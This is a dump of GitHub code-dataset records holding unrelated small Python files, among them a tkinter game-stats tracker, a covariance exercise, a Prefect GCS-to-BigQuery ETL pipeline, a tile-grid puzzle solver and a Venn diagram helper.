OptionMenu(root, userInput, \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\")\r\nw.pack()\r\n\r\nl = Label(text = \"Enter your Planetside 2 Player Name\") \r\nl.pack()\r\n\r\ndef myClick():\r\n pname = e.get()\r\n post = f\"Tracking {pname}\"\r\n myLabel = Label(root, text=post)\r\n e.delete(0, 'end')\r\n myLabel.pack(pady=10)\r\n print(f\"player name is: {pname}\")\r\n print (\"value is:\" + userInput.get())\r\n loop = asyncio.get_event_loop()\r\n loop.create_task(api_query(pname))\r\n loop.run_forever()\r\n\r\ne = Entry(root, width=50, font=('Helvetica', 30))\r\ne.pack(padx=10, pady=10)\r\n\r\nmyButton= Button(root, text=\"Submit\", command=myClick)\r\nmyButton.pack(pady=10)\r\n\r\nroot.mainloop()\r\n","repo_name":"ChrisPF123/AutoV6","sub_path":"AutoV6.py","file_name":"AutoV6.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"20715895075","text":"import numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nmatplotlib.style.use('fivethirtyeight')\nfrom sklearn.datasets import fetch_lfw_people, fetch_olivetti_faces\nimport time\nimport timeit\nimport math\n\nfrom ipywidgets import interact\n\n# GRADED FUNCTION: DO NOT EDIT THIS LINE\ndef mean_naive(X):\n \"Compute the mean for a dataset X nby iterating over the data points\"\n # X is of size (D,N) where D is the dimensionality and N the number of data points\n D, N = X.shape\n mean = np.zeros((D,1))\n for n in range(D):\n # Update the mean vector\n mean[n] = sum(X[n,:]) / N\n pass\n ###\n return mean\n\n# Mine with for loop didn't work\ndef cov_naive(X):\n \"\"\"Compute the covariance for a dataset of size (D,N) \n where D is the dimension and N is the number of data points\"\"\"\n D, N = X.shape\n ### Edit the code below to compute the covariance matrix by iterating over the dataset.\n covariance = np.zeros((D, D))\n mean = mean_naive(X)\n ### Update covariance\n for n in range(D):\n covariance[n] = sum((X[n,:] - mean[n]) * ((X[n,:] - mean[n]).T)) / N\n ###\n \n # print(X[0,:] - mean[0])\n covariance[0][1] = sum((X[0,:] - mean[0]) * (X[1,:] - mean[1])) / N\n covariance[1][0] = sum((X[0,:] - mean[0]) * (X[1,:] - mean[1])) / N\n return np.cov(X, bias=True)\n\n\ndef cov_naive_2(X):\n \"\"\"Compute the covariance for a dataset of size (D,N) \n where D is the dimension and N is the number of data points\"\"\"\n D, N = X.shape\n covariance = np.zeros((D, D))\n\n temp = X - mean_naive(X)\n\n covariance = (temp @ temp.T)\n return covariance / N\n\ndef mean(X):\n \"Compute the mean for a dataset of size (D,N) where D is the dimension and N is the number of data points\"\n # given a dataset of size (D, N), the mean should be an array of size (D,1)\n # you can use np.mean, but pay close attention to the shape of the mean vector you are returning.\n D, N = X.shape\n ### Edit the code to compute a (D,1) array `mean` for the mean of dataset.\n mean = np.zeros((D,1))\n ### Update mean here\n for d in range(D):\n mean[d] = np.mean(X[d])\n ###\n return mean\n\ndef cov(X):\n \"Compute the covariance for a dataset\"\n # X is of size (D,N)\n # It is possible to vectorize our code for computing the covariance with matrix multiplications,\n # i.e., we do not need to explicitly\n # iterate over the entire dataset as looping in Python tends to be slow\n # We challenge you to give a vectorized implementation without using np.cov, but if you choose to use np.cov,\n # be sure to pass in bias=True.\n D, N = X.shape\n ### Edit the code to compute the covariance matrix\n covariance_matrix = np.zeros((D, D))\n ### Update covariance_matrix here\n \n ###\n return np.cov(X, bias=True)\n\nif __name__ == '__main__':\n # First test\n # X_test = np.arange(6).reshape(2,3)\n # print(X_test)\n # print(mean(X_test))\n # print(mean_naive(X_test))\n # print(cov_naive(X_test))\n # print(cov(X_test))\n\n # Second test\n # Y_test = np.array([[1,5], [3,4]])\n # print(Y_test)\n # print(mean(Y_test))\n # print(\"\"\"mean(Y_test)\"\"\")\n # print(mean_naive(Y_test))\n # print(\"\"\"cov_naive(Y_test)\"\"\")\n # print(cov_naive(Y_test))\n # print(\"\"\"cov_naive_2(Y_test)\"\"\")\n # print(cov_naive_2(Y_test))\n # print(\"\"\"cov(Y_test)\"\"\")\n # print(cov(Y_test))\n\n image_shape = (64, 64)\n # Load faces data\n dataset = fetch_olivetti_faces('./')\n faces = dataset.data.T\n\n print('Shape of the faces dataset: {}'.format(faces.shape))\n print('{} data points'.format(faces.shape[1]))\n print(faces)\n np.testing.assert_almost_equal(mean(faces), mean_naive(faces), decimal=6)\n np.testing.assert_almost_equal(cov(faces), cov_naive_2(faces))","repo_name":"angelricardoh/Mathematics-for-ML-PCA","sub_path":"mean_covariance.py","file_name":"mean_covariance.py","file_ext":"py","file_size_in_byte":3812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"4125667175","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 22 03:40:55 2021\n\n@author: santosg\n\"\"\"\n\nfrom PIL import Image, ImageDraw\nimport numpy as np\n\nimport bib_analisis_img\n\nii = bib_analisis_img.LeeImg('download.jpg')\n\nss = ii.shape\n\nimg = np.zeros(ss)\n\nfor i in range(1,ss[0]):\n for j in range(2,ss[1]):\n imgt = ii[i-1:i+2, j-1:j+2]\n print(imgt)\n \n\n\n\n","repo_name":"santosg572/Python_Analisis_Imagenes_oct2221","sub_path":"p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71989556558","text":"from pathlib import Path\nimport pandas as pd\nfrom google.cloud import bigquery\nfrom google.oauth2 import service_account\nfrom prefect import flow, task\nfrom prefect_gcp.cloud_storage import GcsBucket\nfrom prefect_gcp import GcpCredentials\nimport sys\n\n@task(retries=3)\ndef extract_from_gcs(data: str) -> Path:\n \"\"\"Download trip data from GCS\"\"\"\n gcs_path = f\"data/{data}.parquet\"\n gcs_block = GcsBucket.load(\"zoom-gcs\")\n gcs_block.get_directory(from_path=gcs_path, local_path=f\"data/\")\n return Path(f\"data/{gcs_path}\")\n\n\n@task()\ndef transform(path: Path, movies:bool) -> pd.DataFrame:\n \"\"\"Data cleaning example\"\"\"\n df = pd.read_parquet(path)\n #if movies:\n #df = df[['_id', 'movie_id', 'movie_title', 'overview', 'popularity', 'release_date', 'runtime']]\n print(len(df))\n print(df.dtypes)\n return df\n\n@task()\ndef create_bq_table(projectId:str,dataset:str, table:str) -> None:\n # Load gcp bq client\n gcp_credentials_block = GcpCredentials.load(\"zoom-gcp-creds\")\n client = gcp_credentials_block.get_bigquery_client()\n\n # TODO(developer): Set table_id to the ID of the table to create.\n table_id = f\"{projectId}.{dataset}.{table}\"\n\n # Set Schema based on table\n if table == 'stg_movies':\n schema = [\n bigquery.SchemaField(\"_id\", \"STRING\", mode=\"REQUIRED\"),\n bigquery.SchemaField(\"genres\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"image_url\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"imdb_id\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"imdb_link\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"movie_id\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"movie_title\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"original_language\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"overview\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"popularity\", \"FLOAT64\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"production_countries\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"release_date\", \"DATE\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"runtime\", \"FLOAT64\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"spoken_languages\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"tmdb_id\", \"INT64\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"tmdb_link\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"vote_average\", \"FLOAT64\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"vote_count\", \"INT64\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"year_released\", \"INT64\", mode=\"NULLABLE\"),\n ]\n elif table == 'stg_ratings':\n schema = [\n bigquery.SchemaField(\"_id\", \"STRING\", mode=\"REQUIRED\"),\n bigquery.SchemaField(\"movie_id\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"rating_val\", \"INT64\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"user_id\", \"STRING\", mode=\"NULLABLE\"),\n ]\n elif table == 'stg_users':\n schema = [\n bigquery.SchemaField(\"_id\", \"STRING\", mode=\"REQUIRED\"),\n bigquery.SchemaField(\"display_name\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"num_ratings_pages\", \"FLOAT64\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"num_reviews\", \"INT64\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"username\", \"STRING\", mode=\"NULLABLE\"),\n ]\n\n # Create table\n table = bigquery.Table(table_id, schema=schema)\n \n try:\n table = client.create_table(table) # Make an API request.\n print(\"Created table {}.{}.{}\".format(table.project, table.dataset_id, table.table_id))\n except:\n print(\"Table already exists\")\n\n@task()\ndef transform_bq(project_id:str, dataset:str) -> None:\n # Construct a BigQuery client object.\n # client = bigquery.Client()\n gcp_credentials_block = GcpCredentials.load(\"zoom-gcp-creds\")\n client = gcp_credentials_block.get_bigquery_client()\n\n query = f\"CREATE OR REPLACE TABLE {dataset}.partitioned_movies (_id STRING, movie_id STRING, movie_title STRING, popularity FLOAT64, release_date DATE, runtime FLOAT64) PARTITION BY DATE_TRUNC(release_date, month) AS (SELECT _id, movie_id, movie_title, popularity, release_date, runtime FROM `{project_id}.{dataset}.stg_movies` WHERE release_date is not null);\"\n query_job = client.query(query) # Make an API request.\n query2 = f\"CREATE OR REPLACE TABLE {dataset}.clustered_ratings (_id STRING, movie_id STRING, rating_val INTEGER, user_id STRING) CLUSTER BY user_id AS ( SELECT _id, movie_id, rating_val, user_id FROM `{project_id}.{dataset}.stg_ratings` WHERE release_date is not null);\"\n query_job2 = client.query(query2) \n # print(\"The query data:\")\n # for row in query_job:\n # # Row values can be accessed by field name or index.\n # print(\"name={}, count={}\".format(row[0], row[\"total_people\"]))\n\n@task() \ndef create_view(project_id:str, dataset:str) -> None:\n gcp_credentials_block = GcpCredentials.load(\"zoom-gcp-creds\")\n client = gcp_credentials_block.get_bigquery_client()\n\n view_id = f\"{project_id}.{dataset}.view_movieratings\"\n source_movies_id = f\"{project_id}.{dataset}.partitioned_movies\"\n source_ratings_id = f\"{project_id}.{dataset}.clustered_ratings\"\n view = bigquery.Table(view_id)\n\n # The source table in this example is created from a CSV file in Google\n # Cloud Storage located at\n # `gs://cloud-samples-data/bigquery/us-states/us-states.csv`. It contains\n # 50 US states, while the view returns only those states with names\n # starting with the letter 'W'.\n view.view_query = f\"SELECT m.movie_id, m.movie_title, m.popularity, m.release_date, m.runtime, avg(rating_val) as average_rating FROM {source_movies_id} m inner join {source_ratings_id} r on r.movie_id = m.movie_id group by m.movie_id, m.movie_title, m.popularity, m.release_date, m.runtime having count(rating_val) > 100 order by avg(rating_val) desc;\"\n # Make an API request to create the view.\n try:\n view = client.create_table(view)\n print(f\"Created {view.table_type}: {str(view.reference)}\")\n except:\n print('View already found')\n\n@task()\ndef write_bq(df: pd.DataFrame, projectId:str, dataset:str, table:str) -> None:\n \"\"\"Write DataFrame to BiqQuery\"\"\"\n\n gcp_credentials_block = GcpCredentials.load(\"zoom-gcp-creds\")\n\n df.to_gbq(\n destination_table=f\"{dataset}.{table}\",\n project_id=f\"{projectId}\",\n credentials=gcp_credentials_block.get_credentials_from_service_account(),\n chunksize=500_000,\n if_exists=\"append\",\n )\n\n\n@flow()\ndef etl_gcs_to_bq(project_id:str, dataset_name:str):\n \"\"\"Main ETL flow to load data into Big Query\"\"\"\n\n # Create tables\n create_bq_table(project_id, dataset_name,'stg_movies') \n create_bq_table(project_id, dataset_name,'stg_ratings') \n create_bq_table(project_id, dataset_name,'stg_users') \n\n # Get path\n path_movie = extract_from_gcs('movie_data')\n path_ratings = extract_from_gcs('ratings_data')\n path_users = extract_from_gcs('users_data')\n\n # transformations\n df_movie = transform(path_movie, True)\n df_ratings = transform(path_ratings, False)\n df_users = transform(path_users, False)\n\n # Write to staging\n write_bq(df_movie, project_id,dataset_name,'stg_movies') \n write_bq(df_ratings, project_id,dataset_name,'stg_ratings') \n write_bq(df_users, project_id,dataset_name,'stg_users') \n\n # Clean and transform tables\n transform_bq(project_id, dataset_name)\n \n # Create view\n create_view(project_id, dataset_name) \n\n@flow()\ndef etl_parent_flow(\n project_id:str = 'project_id', dataset_name:str = 'letterboxd_data'\n):\n etl_gcs_to_bq(project_id, dataset_name)\n\nif __name__ == \"__main__\":\n dataset_name = 'letterboxd_data'\n try:\n project_id = sys.argv[1]\n except:\n project_id = 'crypto-groove-382408'\n print(f\"Project ID is {project_id}\")\n etl_gcs_to_bq(project_id,dataset_name)\n","repo_name":"ashsii/dezoomcamp-project2023","sub_path":"2_flows/2_etl_gcs_to_bq.py","file_name":"2_etl_gcs_to_bq.py","file_ext":"py","file_size_in_byte":8087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15945578288","text":"# This file is part of ts_ess_sensors.\r\n#\r\n# Developed for the Vera C. Rubin Observatory Telescope and Site Systems.\r\n# This product includes software developed by the LSST Project\r\n# (https://www.lsst.org).\r\n# See the COPYRIGHT file at the top-level directory of this distribution\r\n# for details of code ownership.\r\n#\r\n# This program is free software: you can redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation, either version 3 of the License, or\r\n# (at your option) any later version.\r\n#\r\n# This program is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU General Public License for more details.\r\n\r\nimport sys\r\nimport setuptools\r\nimport pathlib\r\nfrom typing import List\r\n\r\ninstall_requires: List[str] = [\"pyserial\", \"pyftdi\", \"pylibftdi\"]\r\ntests_require: List[str] = [\r\n \"pytest\",\r\n \"pytest-cov\",\r\n \"pytest-flake8\",\r\n \"pytest-black\",\r\n \"pytest-mypy\",\r\n]\r\ndev_requires = install_requires + [\"documenteer[pipelines]\"]\r\nscm_version_template = \"\"\"# Generated by setuptools_scm\r\n__all__ = [\"__version__\"]\r\n\r\n__version__ = \"{version}\"\r\n\"\"\"\r\ntools_path = pathlib.PurePosixPath(setuptools.__path__[0])\r\nbase_prefix = pathlib.PurePosixPath(sys.base_prefix)\r\ndata_files_path = tools_path.relative_to(base_prefix).parents[1]\r\n\r\nsetuptools.setup(\r\n name=\"ts_ess_sensors\",\r\n description=\"Rubin Observatory Environment Sensors Support\",\r\n use_scm_version={\r\n \"write_to\": \"python/lsst/ts/ess/sensors/version.py\",\r\n \"write_to_template\": scm_version_template,\r\n },\r\n setup_requires=[\"setuptools_scm\"],\r\n install_requires=install_requires,\r\n package_dir={\"\": \"python\"},\r\n packages=setuptools.find_namespace_packages(where=\"python\"),\r\n package_data={\"\": [\"*.rst\", \"*.yaml\", \"*.xml\"]},\r\n data_files=[],\r\n scripts=[\"bin/run_ess_sensors.py\"],\r\n extras_require={\"dev\": dev_requires},\r\n license=\"GPL\",\r\n project_urls={\r\n \"Bug Tracker\": \"https://jira.lsstcorp.org/secure/Dashboard.jspa\",\r\n \"Source Code\": \"https://github.com/lsst-ts/ts_ess_sensors\",\r\n },\r\n)\r\n","repo_name":"forrestgk/ts_ess_sensors","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"5672271749","text":"from __future__ import annotations\n\nimport logging\nfrom dataclasses import dataclass\nfrom typing import List, Set, Tuple, Sized, Iterable, Dict\n\nfrom frozendict import frozendict\n\nfrom src.domain.objective import TileMove\nfrom src.domain.screen import Point\nfrom src.domain.tile import TileType, Tile, Cluster\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n\n@dataclass(frozen=True)\nclass Grid(Sized, Iterable[Tile]):\n \"\"\"\n 8x7 56 tiles\n self.size.x=8\n self.size.y=7\n \"\"\"\n\n tiles: List[Tile]\n size: Point\n\n def __iter__(self):\n return iter(self.tiles)\n\n def __len__(self) -> int:\n return len(self.tiles)\n\n def __str__(self):\n grid = \"\"\n for row in self.get_rows():\n grid += str([str(tile) for tile in row]) + \"\\n\"\n return grid[:-1]\n\n def get(self, x, y) -> Tile:\n for tile in self.tiles:\n if tile.grid_position.x == x and tile.grid_position.y == y:\n return tile\n\n def get_row(self, y) -> List[Tile]:\n return [tile for tile in self.tiles if tile.grid_position.y == y]\n\n def get_column(self, x) -> List[Tile]:\n return [tile for tile in self.tiles if tile.grid_position.x == x]\n\n def set_row(self, y, line: List[Tile]):\n tiles = self.tiles.copy()\n tiles[y * self.size.x : (y + 1) * self.size.x] = line\n return Grid(tiles, self.size)\n\n def set_column(self, x, line: List[Tile]):\n tiles = self.tiles.copy()\n tiles[x :: self.size.x] = line\n return Grid(tiles, self.size)\n\n def get_rows(self) -> List[List[Tile]]:\n return [self.get_row(y) for y in range(0, self.size.y)]\n\n def get_columns(self) -> List[List[Tile]]:\n return [self.get_column(x) for x in range(0, self.size.x)]\n\n def get_lines(self) -> List[List[Tile]]:\n return self.get_columns() + self.get_rows()\n\n def get_triples(self) -> List[List[Tile]]:\n return [line[i : i + 3] for line in self.get_lines() for i in range(0, len(line) - 2)]\n\n def find_clusters(self) -> Set[Cluster]:\n pairs = {Grid._find_pair_in_triple(triple) for triple in self.get_triples()}\n return {pair for pair in pairs if pair is not None}\n\n @staticmethod\n def _find_pair_in_triple(triple: List[Tile]) -> Cluster | None:\n different_types = {tile.type for tile in triple if tile.type != TileType.UNKNOWN and tile.type != TileType.STAR}\n\n for potential_type in different_types:\n potential_cluster = frozenset(tile for tile in triple if tile.type == potential_type or tile.type == TileType.STAR)\n if len(potential_cluster) == 2:\n return Cluster(potential_type, potential_cluster)\n\n def find_possible_moves(self) -> Set[TileMove]:\n pairs = self.find_clusters()\n\n if not pairs:\n return set()\n\n movements = set()\n\n for cluster in pairs:\n\n completing_row_indices = cluster.find_completing_row_indices()\n if completing_row_indices:\n x = cluster.get_completed_line_index()\n completing_cluster_rows = {missing_row_index: self.get_row(missing_row_index) for missing_row_index in completing_row_indices}\n\n matching_tiles = {(row_index, tile) for row_index, row in completing_cluster_rows.items() for tile in row if tile.type == cluster.type}\n for y, matching_tile in matching_tiles:\n destination = Point(x, y)\n movements.add(TileMove(self.simulate_line_shift(matching_tile.grid_position, destination)[0], cluster, matching_tile, destination))\n else:\n y = cluster.get_completed_line_index()\n completing_column_indices = cluster.find_completing_column_indices()\n completing_cluster_columns = {missing_column_no: self.get_column(missing_column_no) for missing_column_no in completing_column_indices}\n\n matching_tiles = {(row_no, tile) for row_no, row in completing_cluster_columns.items() for tile in row if tile.type == cluster.type}\n for x, matching_tile in matching_tiles:\n destination = Point(x, y)\n movements.add(TileMove(self.simulate_line_shift(matching_tile.grid_position, destination)[0], cluster, matching_tile, destination))\n\n return movements\n\n def simulate_line_shift(self, shift_start: Point, shift_destination: Point) -> Tuple[Dict[TileType, int], Grid]:\n \"\"\"\n 1. Shift\n 2. Remove combining tiles\n 3. Gravity\n 4. Loop 2-3\n \"\"\"\n simulated_grid = self.shift(shift_start, shift_destination)\n\n combining_tiles = set()\n new_combining_tiles, simulated_grid = simulated_grid.remove_completed_combos()\n while new_combining_tiles:\n combining_tiles |= new_combining_tiles\n simulated_grid = simulated_grid.gravity()\n new_combining_tiles, simulated_grid = simulated_grid.remove_completed_combos()\n\n impact = dict()\n for tile in combining_tiles:\n if tile.type not in impact:\n impact[tile.type] = 0\n\n impact[tile.type] += 1\n\n return frozendict(impact), simulated_grid.fill_with_unknown()\n\n def shift(self, shift_start: Point, shift_destination: Point):\n assert shift_start.x == shift_destination.x or shift_start.y == shift_destination.y\n\n shift = shift_destination - shift_start\n\n if shift.y == 0:\n line = self.get_row(shift_start.y)\n distance = shift.x\n new_line = [Tile(tile.type, Point(x, shift_start.y)) for x, tile in enumerate(line[-distance:] + line[:-distance])]\n return self.set_row(shift_start.y, new_line)\n else:\n line = self.get_column(shift_start.x)\n distance = shift.y\n new_line = [Tile(tile.type, Point(shift_start.x, y)) for y, tile in enumerate(line[-distance:] + line[:-distance])]\n return self.set_column(shift_start.x, new_line)\n\n def remove_completed_combos(self):\n combining_tiles = set()\n for triple in self.get_triples():\n different_types = {tile.type for tile in triple if tile.type != TileType.STAR}\n if len(different_types) == 1 and TileType.UNKNOWN not in different_types:\n combining_tiles |= set(triple)\n\n remaining_tiles = [tile for tile in self.tiles if tile not in combining_tiles]\n\n return combining_tiles, InconsistentGrid(remaining_tiles, self.size)\n\n def gravity(self):\n fallen_tiles = []\n for column in self.get_columns():\n missing_tiles = self.size.y - len(column)\n\n if missing_tiles == 0:\n fallen_tiles += column\n continue\n\n for i, tile in enumerate(column):\n fallen_tiles.append(Tile(tile.type, Point(tile.grid_position.x, missing_tiles + i)))\n\n fallen_tiles.sort(key=lambda x: x.grid_position)\n\n return InconsistentGrid(fallen_tiles, self.size)\n\n def fill_with_unknown(self) -> Grid:\n return self\n\n\nclass InconsistentGrid(Grid):\n def find_clusters(self, minimal_quantity=2, maximal_distance=3) -> Set[Tuple[Tile]]:\n return set()\n\n def fill_with_unknown(self) -> Grid:\n tiles = self.tiles.copy()\n\n # FIXME there should be a better approximation for screensize... meh what ever\n for y in range(0, self.size.y):\n for x in range(0, self.size.x):\n index = x + y * self.size.x\n expected_grid_position = Point(x, y)\n if len(tiles) <= index or tiles[index].grid_position != expected_grid_position:\n tiles.insert(index, Tile(TileType.UNKNOWN, expected_grid_position))\n\n return Grid(tiles, self.size)\n\n\nclass EmptyGrid(Grid):\n def __init__(self):\n super().__init__([], Point(0, 0))\n\n def find_clusters(self, minimal_quantity=2, maximal_distance=3) -> Set[Tuple[Tile]]:\n return set()\n","repo_name":"Jouramie/10000000-bot","sub_path":"src/domain/grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":8039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26454730401","text":"import numpy as np\n\nfrom numba import jitclass\nfrom numba import int32, float32\n\n\nspec = [\n ('value', int32),\n ('array', float32[:]),\n]\n\n\n@jitclass(spec)\nclass Bag(object):\n def __init__(self, value):\n self.value = value\n self.array = np.zeros(value, dtype=np.float32)\n\n @property\n def size(self):\n return self.array.size\n\n def increment(self, val):\n for i in range(self.size):\n self.array[i] += val\n return self.array\n\n @staticmethod\n def add(x, y):\n return x + y\n","repo_name":"DSE512/twelve","sub_path":"examples/module_04_measure/numba/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"29"} +{"seq_id":"4206598355","text":"# Wczytanie biblioteki.\nimport pandas as pd\n\n# Utworzenie adresu URL.\nurl = 'https://tinyurl.com/titanic-csv'\n\n# Wczytanie danych.\ndataframe = pd.read_csv(url)\n\n# Zastąpienie wartości, wyświetlenie dwóch pierwszych wierszy.\ndataframe['Sex'].replace(\"female\", \"Woman\").head(2)\n","repo_name":"PanNowik/github_personal","sub_path":"machine_learning_in_python/Rozdzial03/3.5.py","file_name":"3.5.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"24538003018","text":"# Escreva um programa que leia a quantidade de pessoas entrevistadas. Em seguida, para cada pessoa\n# leia a idade e o sexo e calcule e mostre:\n# • A média de idade das pessoas;\n# • A média de idade das mulheres;\n# • A média de idade dos homens;\n# • A quantidade de pessoas em cada faixa etária segundo a tabela a seguir;\n# • A porcentagem de mulheres da segunda faixa etária\n\nsoma_idade, n_mulheres, n_homens = 0, 0, 0\nidade_mulheres, idade_homens = 0, 0\nidade_15, idade_16_30, idade_31_45, idade_46_60, idade_60 = 0, 0, 0, 0, 0\nqt_f_16_30 = 0\n\nn = int(input(\"Informe a quantidade de pessoas entrevistadas: \" ))\nfor i in range(n):\n idade = int(input(\"Informe a idade: \"))\n sexo = input(\"Informe o sexo (F mulher ou M homem): \")\n soma_idade += idade\n if (sexo == \"F\"):\n idade_mulheres += idade\n n_mulheres += 1\n else:\n idade_homens += idade\n n_homens += 1\n\n if idade <= 15:\n idade_15 += 1\n elif 16 <= idade <= 30:\n idade_16_30 += 1\n if (sexo == \"F\"):\n qt_f_16_30 += 1\n elif 31 <= idade <= 45:\n idade_31_45 += 1\n elif 46 <= idade <= 60:\n idade_46_60 += 1\n else:\n idade_60 += 1\n\n\nprint(\"A média de idade das pessoas: %.2f\" %(soma_idade/n))\nprint(\"A média de idade das mulheres: %.2f\" %(idade_mulheres/n_mulheres))\nprint(\"A média de idade dos homens: %.2f\" %(idade_homens/n_homens))\nprint(\" A quantidade de pessoas na faixa etária 1: %i\" %(idade_15))\nprint(\" A quantidade de pessoas na faixa etária 2: %i\" %(idade_16_30))\nprint(\" A quantidade de pessoas na faixa etária 3: %i\" %(idade_31_45))\nprint(\" A quantidade de pessoas na faixa etária 4: %i\" %(idade_46_60))\nprint(\" A quantidade de pessoas na faixa etária 5: %i\" %(idade_60))\nprint(\" A quantidade de mulheres na faixa etária 2: %i\" %(qt_f_16_30))\n","repo_name":"antonyaraujo/ClassPyExercises","sub_path":"Lista03/Questao23.py","file_name":"Questao23.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"13595798561","text":"from matplotlib_venn import venn2, venn2_circles\nfrom matplotlib import pyplot as plt\n\n\ndef mut_exclusive(size=15, fill_color='skyblue', bg_color='white', font_size=20,\n title='Mutually exclusive: A∩B=∅', set_a='A', set_b='B', text_size=15):\n \"\"\"\n Mutually exclusive Venn diagram\n\n parameters\n ----------\n\n size: Set the figure size. The default value is 15.\n fill_color: Set the filling color. The default value is 'skyblue'.\n bg_color: Set the background color. The default value is 'white'.\n font_size: Set the title font size. The default value is 20.\n title: Set the title. The default value is 'Mutually exclusive: A∩B=∅'\n set_a: Set the set name for the left diagram. The default value is 'A'.\n set_b: Set the set name for the left diagram. The default value is 'B'.\n text_size: Set the text size. The default value is 15.\n\n example\n -------\n mut_exclusive()\n mut_exclusive(size=10, fill_color='#2d5c91', bg_color='#e1e8f0', font_size=25, \n title='Mutually exclusive: P∩Q=∅', set_a='P', set_b='Q')\n\n \"\"\"\n\n figure, ax = plt.subplots(1, 1, figsize=(size, size))\n\n ax.set_title(title, fontsize=font_size)\n\n v = venn2(subsets=(3, 3, 0), set_labels=(set_a, set_b))\n c = venn2_circles(subsets=(3, 3, 0))\n ax.set_axis_on()\n ax.set_facecolor(bg_color)\n ymin, ymax = ax.get_ylim()\n ax.set_ylim(ymin - 0.1, ymax)\n\n for area in ['01', '10', '11']:\n if area != '11':\n v.get_patch_by_id(area).set_color(fill_color)\n v.get_patch_by_id(area).set_alpha(1)\n txt = v.get_label_by_id(area)\n if txt:\n txt.set_text('')\n\n plt.rc('font', size=text_size)\n plt.show()\n","repo_name":"shinokada/vennfig","sub_path":"vennfig/mut_exclusive.py","file_name":"mut_exclusive.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"40216673567","text":"import logging\nimport re\nfrom typing import Iterable\n\n\nfrom random_parser.base_parser import BaseParser\nfrom random_parser.choice_blocks.choice_expression import ChoiceExpressionParser\nfrom random_parser.constants import GENERATOR_PARSER, RESOURCE_PARSER\nfrom random_parser.context import Context\n\n\nclass ChoiceBlockParser(BaseParser):\n\n def __init__(self, parser: BaseParser):\n super().__init__(parser)\n self.choice_expression_parser = None # ChoiceExpressionParser\n self.interpolation_blocks = [] # Iterable[InterpolationBlockParser]\n\n def evaluate(self, context: Context):\n logging.debug(f'Evaluating...')\n return self.choice_expression_parser.evaluate(context, self.interpolation_blocks)\n\n def parse(self):\n assert self.line(), self.err_msg('Empty choice body')\n self._parse(0)\n return self\n\n # Special entry point for coming from weighted choice lines\n def parse_nested(self, char_num: int):\n # Trim off the beginning with the weight\n self._parse(char_num)\n return self\n\n def _parse(self, char_num: int):\n logging.debug(f'Processing choice block for \"{self.line()[char_num:]}\"')\n self.choice_expression_parser = ChoiceExpressionParser(self, char_num=char_num)\n self.choice_expression_parser.parse()\n self.sync(self.choice_expression_parser)\n\n num_itpl_fragments = self.choice_expression_parser.num_interpolation_fragments()\n for block_num in range(1, num_itpl_fragments+1): # Add 1 for 1-indexing\n logging.info(f'Parsing interpolation block index #{block_num} of {num_itpl_fragments}')\n interpolation_block = ibp.InterpolationBlockParser(\n self, block_num, self.line()[char_num:])\n interpolation_block.parse()\n self.interpolation_blocks.append(interpolation_block)\n self.sync(interpolation_block)\n logging.info(f'Finished parsing fragment: {interpolation_block}')\n\n\n def length(self):\n return len(self.interpolation_blocks)\n\n\n# Delay import to prevent circular dependencies.\nimport random_parser.interpolation_blocks.interpolation_block as 